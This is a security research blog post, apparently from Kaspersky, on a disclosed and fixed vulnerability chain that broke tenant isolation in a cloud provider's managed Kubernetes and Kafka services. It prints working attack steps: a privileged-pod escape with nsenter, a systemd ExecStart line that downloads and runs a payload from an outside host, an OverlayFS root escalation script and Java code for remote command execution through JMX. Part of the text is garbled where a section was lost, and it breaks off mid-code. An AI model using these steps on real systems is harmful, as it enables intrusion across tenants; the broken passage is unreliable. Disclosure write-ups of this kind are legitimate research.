An insecure neighbor: how a vulnerability chain led to an isolation bypass in cloud infrastructure
A Kaspersky expert presents a cloud isolation bypass case honored at Russian Pentest Award 2026. Learn how vulnerabilities in Kubernetes, Konnectivity, and the overlay network lead to RCE and compromise of other tenants' services.
This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform.
We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified.
We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.
Introduction
Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.
This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud.
On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).
1. Gaining initial access through a managed Kubernetes cluster
Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.
1.1. Escaping the worker node
First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves.
In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.
kubectl run pod-name-bla \
--image=alpine \
--restart=Never \
--overrides='
{
"apiVersion": "v1",
"spec": {
"hostPID": true,
"containers": [
{
"name": "priv",
"image": "alpine",
"command": ["sh", "-c", "sleep 3600"],
"stdin": true,
"tty": true,
"securityContext": {
"privileged": true
}
}
]
}
}'
After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine:
nsenter --target 1 --mount --uts --ipc --net --pid - bash
After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.
Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.
1.2. Analysis of control plane services
After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file.
A subsequent scan of this address revealed the following open ports:
192.168.0.4:9443open https status=404192.168.0.4:2380open192.168.0.4:6443open http status=400192.168.0.4:8132open192.168.0.4:9100open http status=200 title="Node Exporter"192.168.0.4:9308open http status=200 title="kube-state-metrics"
Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT.
The Konnectivity token found earlier granted permission to interact with this service.
1.3. Exploiting Konnectivity
To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes.
A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.
Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream.
service AgentService {
rpc Connect(stream Packet) returns (stream Packet) {}
}
The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side.
The packet structure for the Connect method looks like this:
//apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26
enum PacketType {
DIAL_REQ = 0;
DIAL_RSP = 1;
...
}
message Packet {
PacketType type = 1;
oneof payload {
DialRequest dialRequest = 2;
DialResponse dialResponse = 3;
Data data = 4;
CloseRequest closeRequest = 5;
CloseResponse closeResponse = 6;
CloseDial closeDial = 7;
}
}
message DialRequest {
// tcp or udp?
string protocol = 1;
// node:port
string address = 2;
// random id for client, maybe should be longer
int64 random = 3;
}
The server reads any Packet packets from the stream initiated by the agent (worker node):
//apiserver-network-proxy/pkg/server/server.go:721
in, err := stream.Recv()
...
recvCh job object path
The properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line:
ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '"
As a result, we successfully received a callback from the control plane. Mirantis, the company behind the k0s project, confirmed the vulnerability.
1.4. Privilege escalation on the host
Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).
In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.
To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.
rm -rf /tmp/lpe
mkdir /tmp/lpe
cd /tmp/lpe
unshare -rm sh -c '
mkdir l u w m && cp /usr/bin/python3 l/ && chmod 755 l/python3 && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*
'
getcap /tmp/lpe/u/python3
/tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'
Gaining root privileges opened up several interesting attack vectors:
- We discovered an
eth2interface on the100.64.0.0/10subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services. - The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack.
2. Adventures in the overlay network
2.1. Victoria stack
An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources.
Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics. When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:
"discoveredLabels": {
"__address__": "http://100.64.1.1:6897/metrics",
"__meta_url__": "CENSORED",
"__metrics_path__": "/metrics",
"__scheme__": "http",
"__scrape_interval__": "2m0s",
"__scrape_timeout__": "2m0s",
"cluster_id": "676767",
"customer": "customerID",
"job": "http",
"profile": "kubernetes",
"vds_id": "1337",
"version": "1.0"
}
It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.
We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud.
Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.
Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.
We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters. Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.
2.2. Compromising managed Kafka instances
We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry.
The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next.
To carry out the attack, we prepared a set of Java scripts with the following structure:
JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component,javax.management.loading.MLet(a class that loads classes from a specified URL).JmxInvoke.java: invokes the selected MBean method through the JMX Registry.ExecMBean.javaandExec.javaa custom lightweight test MBean component with arun(String cmd)method that provides an interface for remote command execution.
The code that handles the connection and initialization of the MBean component looks like this:
//JmxCreateMBean.java
...
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
public class JmxCreateMBean {
private static final class RewritingSocketFactory extends RMISocketFactory {
private final String fromHost;
private final String toHost;
RewritingSocketFactory(String fromHost, String toHost) {
...
}
@Override
public Socket createSocket(String host, int port) throws IOException {
...
}
@Override
public ServerSocket createServerSocket(int port) throws IOException {
...
}
}
public static void main(String[] args) throws Exception {
...
RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3]));
String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]);
try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) {
var mbsc = connector.getMBeanServerConnection();
try {
ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5]));
System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName());
} catch (InstanceAlreadyExistsException e) {
System.out.println("EXISTS " + args[5]);
}
}
}
}
Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:
// Exec.java
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Base64;
public class Exec implements ExecMBean {
@Override
public String run(String cmd) throws Exception {
Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start();
byte[] out = p.getInputStream().readAllBytes();
int rc = p.waitFor();
return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8);
}
@Override
public String getB64(S
Comments
No comments yet. Start the discussion.